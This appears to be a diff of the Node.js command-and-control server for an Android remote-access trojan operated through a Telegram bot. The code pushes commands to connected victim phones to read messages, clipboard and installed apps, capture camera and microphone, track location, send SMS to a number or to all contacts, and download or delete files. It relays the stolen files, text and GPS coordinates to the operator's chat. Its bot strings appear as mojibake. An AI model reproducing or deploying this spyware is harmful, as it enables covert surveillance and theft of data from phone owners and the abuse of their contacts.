- if (ws.uuid == uuid) {
- ws.send('messages');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'apps') {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == uuid) {
- ws.send('apps');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'device_info') {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == uuid) {
- ws.send('device_info');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'clipboard') {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == uuid) {
- ws.send('clipboard');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'camera_main') {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == uuid) {
- ws.send('camera_main');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'camera_selfie') {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == uuid) {
- ws.send('camera_selfie');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'location') {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == uuid) {
- ws.send('location');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'vibrate') {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == uuid) {
- ws.send('vibrate');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'stop_audio') {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == uuid) {
- ws.send('stop_audio');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'send_message') {
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id, 'ยฐโข ๐๐ก๐๐๐จ๐ ๐ง๐๐ฅ๐ก๐ฎ ๐ฉ๐๐ ๐ฃ๐ช๐ข๐๐๐ง ๐ฉ๐ค ๐ฌ๐๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐๐ ๐๐๐\n\n' +
- 'โขษช๊ฐ สแดแด แดกแดษดแด แดแด ๊ฑแดษดแด
๊ฑแด๊ฑ แดแด สแดแดแดส แดแดแดษดแดสส ษดแดแดสแดส๊ฑ, สแดแด แดแดษด แดษดแดแดส แดสแด ษดแดแดสแดส แดกษชแดส แดขแดสแด แดแด แดสแด สแดษขษชษดษดษชษดษข, แดแดสแดสแดกษช๊ฑแด แดษดแดแดส แดสแด ษดแดแดสแดส แดกษชแดส แดสแด แดแดแดษดแดสส แดแดแด
แด',
- {reply_markup: {force_reply: true}})
- currentUuid = uuid
- }
- if (commend == 'send_message_to_all') {
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐ค ๐๐ก๐ก ๐๐ค๐ฃ๐ฉ๐๐๐ฉ๐จ\n\n' +
- 'โข สแด แดแดสแด๊ฐแดส แดสแดแด แดสแด แดแด๊ฑ๊ฑแดษขแด แดกษชสส ษดแดแด สแด ๊ฑแดษดแด ษช๊ฐ แดสแด ษดแดแดสแดส แด๊ฐ แดสแดสแดแดแดแดส๊ฑ ษชษด สแดแดส แดแด๊ฑ๊ฑแดษขแด ษช๊ฑ แดแดสแด แดสแดษด แดสสแดแดกแดแด
',
- {reply_markup: {force_reply: true}}
- )
- currentUuid = uuid
- }
- if (commend == 'file') {
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ฅ๐๐ฉ๐ ๐ค๐ ๐ฉ๐๐ ๐๐๐ก๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ค๐ฌ๐ฃ๐ก๐ค๐๐\n\n' +
- 'โข สแดแด แด
แด ษดแดแด ษดแดแดแด
แดแด แดษดแดแดส แดสแด ๊ฐแดสส ๊ฐษชสแด แดแดแดส, แดแด๊ฑแด แดษดแดแดส แดสแด แดแดษชษด แดแดแดส. ๊ฐแดส แดxแดแดแดสแด, แดษดแดแดส DCIM/Camera แดแด สแดแดแดษชแด แด ษขแดสสแดสส ๊ฐษชสแด๊ฑ.',
- {reply_markup: {force_reply: true}, parse_mode: "HTML"}
- )
- currentUuid = uuid
- }
- if (commend == 'delete_file') {
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ฅ๐๐ฉ๐ ๐ค๐ ๐ฉ๐๐ ๐๐๐ก๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐๐ก๐๐ฉ๐\n\n' +
- 'โข สแดแด แด
แด ษดแดแด ษดแดแดแด
แดแด แดษดแดแดส แดสแด ๊ฐแดสส ๊ฐษชสแด แดแดแดส, แดแด๊ฑแด แดษดแดแดส แดสแด แดแดษชษด แดแดแดส. ๊ฐแดส แดxแดแดแดสแด, แดษดแดแดส DCIM/Camera แดแด แด
แดสแดแดแด ษขแดสสแดสส ๊ฐษชสแด๊ฑ.',
- {reply_markup: {force_reply: true}, parse_mode: "HTML"}
- )
- currentUuid = uuid
- }
- if (commend == 'microphone') {
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐๐ค๐ฌ ๐ก๐ค๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐๐ ๐ข๐๐๐ง๐ค๐ฅ๐๐ค๐ฃ๐ ๐ฉ๐ค ๐๐ ๐ง๐๐๐ค๐ง๐๐๐\n\n' +
- 'โข ษดแดแดแด แดสแดแด สแดแด แดแด๊ฑแด แดษดแดแดส แดสแด แดษชแดแด ษดแดแดแดสษชแดแดสสส ษชษด แดษดษชแด๊ฑ แด๊ฐ ๊ฑแดแดแดษดแด
๊ฑ',
- {reply_markup: {force_reply: true}, parse_mode: "HTML"}
- )
- currentUuid = uuid
- }
- if (commend == 'toast') {
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฉ๐๐๐ฉ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ฅ๐ฅ๐๐๐ง ๐ค๐ฃ ๐ฉ๐๐ ๐ฉ๐๐ง๐๐๐ฉ ๐๐๐ซ๐๐๐\n\n' +
- 'โข แดแดแด๊ฑแด ษช๊ฑ แด ๊ฑสแดสแด แดแด๊ฑ๊ฑแดษขแด แดสแดแด แดแดแดแดแดส๊ฑ แดษด แดสแด แด
แดแด ษชแดแด ๊ฑแดสแดแดษด ๊ฐแดส แด ๊ฐแดแดก ๊ฑแดแดแดษดแด
๊ฑ',
- {reply_markup: {force_reply: true}, parse_mode: "HTML"}
- )
- currentUuid = uuid
- }
- if (commend == 'show_notification') {
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ฅ๐ฅ๐๐๐ง ๐๐จ ๐ฃ๐ค๐ฉ๐๐๐๐๐๐ฉ๐๐ค๐ฃ\n\n' +
- 'โข สแดแดส แดแด๊ฑ๊ฑแดษขแด แดกษชสส สแด แดแดแดแดแดส ษชษด แดแดสษขแดแด แด
แดแด ษชแดแด ๊ฑแดแดแดแด๊ฑ สแดส สษชแดแด สแดษขแดสแดส ษดแดแดษช๊ฐษชแดแดแดษชแดษด',
- {reply_markup: {force_reply: true}, parse_mode: "HTML"}
- )
- currentUuid = uuid
- }
- if (commend == 'play_audio') {
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐๐ช๐๐๐ค ๐ก๐๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐ฅ๐ก๐๐ฎ\n\n' +
- 'โข ษดแดแดแด แดสแดแด สแดแด แดแด๊ฑแด แดษดแดแดส แดสแด แด
ษชสแดแดแด สษชษดแด แด๊ฐ แดสแด แด
แด๊ฑษชสแดแด
๊ฑแดแดษดแด
, แดแดสแดสแดกษช๊ฑแด แดสแด ๊ฑแดแดษดแด
แดกษชสส ษดแดแด สแด แดสแดสแดแด
',
- {reply_markup: {force_reply: true}, parse_mode: "HTML"}
- )
- currentUuid = uuid
- }
-});
-setInterval(function () {
- appSocket.clients.forEach(function each(ws) {
- ws.send('ping')
- });
- try {
- axios.get(address).then(r => "")
- } catch (e) {
- }
-}, 5000)
-appServer.listen(process.env.PORT || 8999);
+const express = require('express');
+const webSocket = require('ws');
+const http = require('http')
+const telegramBot = require('node-telegram-bot-api')
+const uuid4 = require('uuid')
+const multer = require('multer');
+const bodyParser = require('body-parser')
+const axios = require("axios");
+
+const token = 'your token here'
+const id = 'chat id here'
+const address = 'https://www.google.com'
+
+const app = express();
+const appServer = http.createServer(app);
+const appSocket = new webSocket.Server({server: appServer});
+const appBot = new telegramBot(token, {polling: true});
+const appClients = new Map()
+
+const upload = multer();
+app.use(bodyParser.json());
+
+let currentUuid = ''
+let currentNumber = ''
+let currentTitle = ''
+
+app.get('/', function (req, res) {
+ res.send('๐๐๐ง๐ซ๐๐ง ๐ช๐ฅ๐ก๐ค๐๐๐๐ ๐จ๐ช๐๐๐๐จ๐จ๐๐ช๐ก๐ก๐ฎ
')
+})
+
+app.post("/uploadFile", upload.single('file'), (req, res) => {
+ const name = req.file.originalname
+ appBot.sendDocument(id, req.file.buffer, {
+ caption: `ยฐโข ๐๐๐จ๐จ๐๐๐ ๐๐ง๐ค๐ข ${req.headers.model} ๐๐๐ซ๐๐๐`,
+ parse_mode: "HTML"
+ },
+ {
+ filename: name,
+ contentType: 'application/txt',
+ })
+ res.send('')
+})
+app.post("/uploadText", (req, res) => {
+ appBot.sendMessage(id, `ยฐโข ๐๐๐จ๐จ๐๐๐ ๐๐ง๐ค๐ข ${req.headers.model} ๐๐๐ซ๐๐๐\n\n` + req.body['text'], {parse_mode: "HTML"})
+ res.send('')
+})
+app.post("/uploadLocation", (req, res) => {
+ appBot.sendLocation(id, req.body['lat'], req.body['lon'])
+ appBot.sendMessage(id, `ยฐโข ๐๐ค๐๐๐ฉ๐๐ค๐ฃ ๐๐ง๐ค๐ข ${req.headers.model} ๐๐๐ซ๐๐๐`, {parse_mode: "HTML"})
+ res.send('')
+})
+appSocket.on('connection', (ws, req) => {
+ const uuid = uuid4.v4()
+ const model = req.headers.model
+ const battery = req.headers.battery
+ const version = req.headers.version
+ const brightness = req.headers.brightness
+ const provider = req.headers.provider
+
+ ws.uuid = uuid
+ appClients.set(uuid, {
+ model: model,
+ battery: battery,
+ version: version,
+ brightness: brightness,
+ provider: provider
+ })
+ appBot.sendMessage(id,
+ `ยฐโข ๐๐๐ฌ ๐๐๐ซ๐๐๐ ๐๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐\n\n` +
+ `โข แด
แดแด ษชแดแด แดแดแด
แดส : ${model}\n` +
+ `โข สแดแดแดแดสส : ${battery}\n` +
+ `โข แดษดแด
สแดษชแด
แด แดส๊ฑษชแดษด : ${version}\n` +
+ `โข ๊ฑแดสแดแดษด สสษชษขสแดษดแด๊ฑ๊ฑ : ${brightness}\n` +
+ `โข แดสแดแด ษชแด
แดส : ${provider}`,
+ {parse_mode: "HTML"}
+ )
+ ws.on('close', function () {
+ appBot.sendMessage(id,
+ `ยฐโข ๐ฟ๐๐ซ๐๐๐ ๐๐๐จ๐๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐\n\n` +
+ `โข แด
แดแด ษชแดแด แดแดแด
แดส : ${model}\n` +
+ `โข สแดแดแดแดสส : ${battery}\n` +
+ `โข แดษดแด
สแดษชแด
แด แดส๊ฑษชแดษด : ${version}\n` +
+ `โข ๊ฑแดสแดแดษด สสษชษขสแดษดแด๊ฑ๊ฑ : ${brightness}\n` +
+ `โข แดสแดแด ษชแด
แดส : ${provider}`,
+ {parse_mode: "HTML"}
+ )
+ appClients.delete(ws.uuid)
+ })
+})
+appBot.on('message', (message) => {
+ const chatId = message.chat.id;
+ if (message.reply_to_message) {
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ก๐๐๐จ๐ ๐ง๐๐ฅ๐ก๐ฎ ๐ฉ๐๐ ๐ฃ๐ช๐ข๐๐๐ง ๐ฉ๐ค ๐ฌ๐๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐๐ ๐๐๐')) {
+ currentNumber = message.text
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ง๐๐๐ฉ, ๐ฃ๐ค๐ฌ ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐ค ๐ฉ๐๐๐จ ๐ฃ๐ช๐ข๐๐๐ง\n\n' +
+ 'โข สแด แดแดสแด๊ฐแดส แดสแดแด แดสแด แดแด๊ฑ๊ฑแดษขแด แดกษชสส ษดแดแด สแด ๊ฑแดษดแด ษช๊ฐ แดสแด ษดแดแดสแดส แด๊ฐ แดสแดสแดแดแดแดส๊ฑ ษชษด สแดแดส แดแด๊ฑ๊ฑแดษขแด ษช๊ฑ แดแดสแด แดสแดษด แดสสแดแดกแดแด
',
+ {reply_markup: {force_reply: true}}
+ )
+ }
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ง๐๐๐ฉ, ๐ฃ๐ค๐ฌ ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐ค ๐ฉ๐๐๐จ ๐ฃ๐ช๐ข๐๐๐ง')) {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`send_message:${currentNumber}/${message.text}`)
+ }
+ });
+ currentNumber = ''
+ currentUuid = ''
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐ค ๐๐ก๐ก ๐๐ค๐ฃ๐ฉ๐๐๐ฉ๐จ')) {
+ const message_to_all = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`send_message_to_all:${message_to_all}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ฅ๐๐ฉ๐ ๐ค๐ ๐ฉ๐๐ ๐๐๐ก๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ค๐ฌ๐ฃ๐ก๐ค๐๐')) {
+ const path = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`file:${path}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ฅ๐๐ฉ๐ ๐ค๐ ๐ฉ๐๐ ๐๐๐ก๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐๐ก๐๐ฉ๐')) {
+ const path = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`delete_file:${path}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐๐ค๐ฌ ๐ก๐ค๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐๐ ๐ข๐๐๐ง๐ค๐ฅ๐๐ค๐ฃ๐ ๐ฉ๐ค ๐๐ ๐ง๐๐๐ค๐ง๐๐๐')) {
+ const duration = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`microphone:${duration}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐๐ค๐ฌ ๐ก๐ค๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐๐ ๐ข๐๐๐ฃ ๐๐๐ข๐๐ง๐ ๐ฉ๐ค ๐๐ ๐ง๐๐๐ค๐ง๐๐๐')) {
+ const duration = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`rec_camera_main:${duration}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
